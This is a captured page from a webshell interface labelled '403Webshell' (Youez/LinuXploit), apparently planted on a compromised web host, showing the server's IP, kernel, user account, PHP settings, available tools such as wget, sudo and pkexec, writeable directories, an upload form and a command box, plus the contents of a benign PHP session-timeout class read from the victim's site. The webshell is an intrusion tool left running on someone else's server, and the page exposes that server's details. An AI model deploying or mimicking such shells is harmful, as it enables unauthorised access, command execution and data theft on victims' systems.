403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/www/painel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/www/painel/class.sessao.php
<?php
/*---

* PARA ALTERAR O TEMPO DE DURAÇÃO DA SUA SESSÃO (em minutos)

* ALTERE, PARA O VALOR DESEJADO, O N° "3"

* NAS LINHAS 19,33.

---*/
class limiteTempoSessao {
public function limitar(){
$_SESSION ['time_m_agora'] = date('i'); # RECEBE O VALOR DO MINUTO ATUAL.
$_SESSION ['time_h_agora'] = date('H'); # RECEBE O VALOR DA HORA ATUAL.
# A PARTIR DAQUI - COMPARA A HORA ATUAL E OS MINUTO ATUAL PARA DEFINIR SE O TEMPO DE INATIVIDADE FOI ULTRAPASSADO.
if ($_SESSION ['time_h_agora'] == $_SESSION ['time_h_fim']){
if ($_SESSION ['time_m_fim'] >= $_SESSION ['time_m_agora']){
$_SESSION ['time_m_agora'] = date("i");
$_SESSION ['time_m_fim'] = date("i")+ 100;
$_SESSION ['time_h_fim'] = date("H");
echo "NAVEGANDO NORMAL";
};
if ($_SESSION ['time_m_fim'] < $_SESSION ['time_m_agora']){
session_unset();
session_destroy();
//header ("Location: error.php");
};
};
if ($_SESSION ['time_h_agora'] != $_SESSION ['time_h_fim']){
if ($_SESSION ['time_m_fim'] < $_SESSION ['time_m_agora']){
$_SESSION ['time_m_agora'] = date("i");
$_SESSION ['time_m_fim'] = date("i")+ 100;
$_SESSION ['time_h_fim'] = date("H");
};
if ($_SESSION ['time_m_fim'] >= $_SESSION ['time_m_agora']){
session_unset();
session_destroy();
//header ("Location: error.php");
};
};
}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit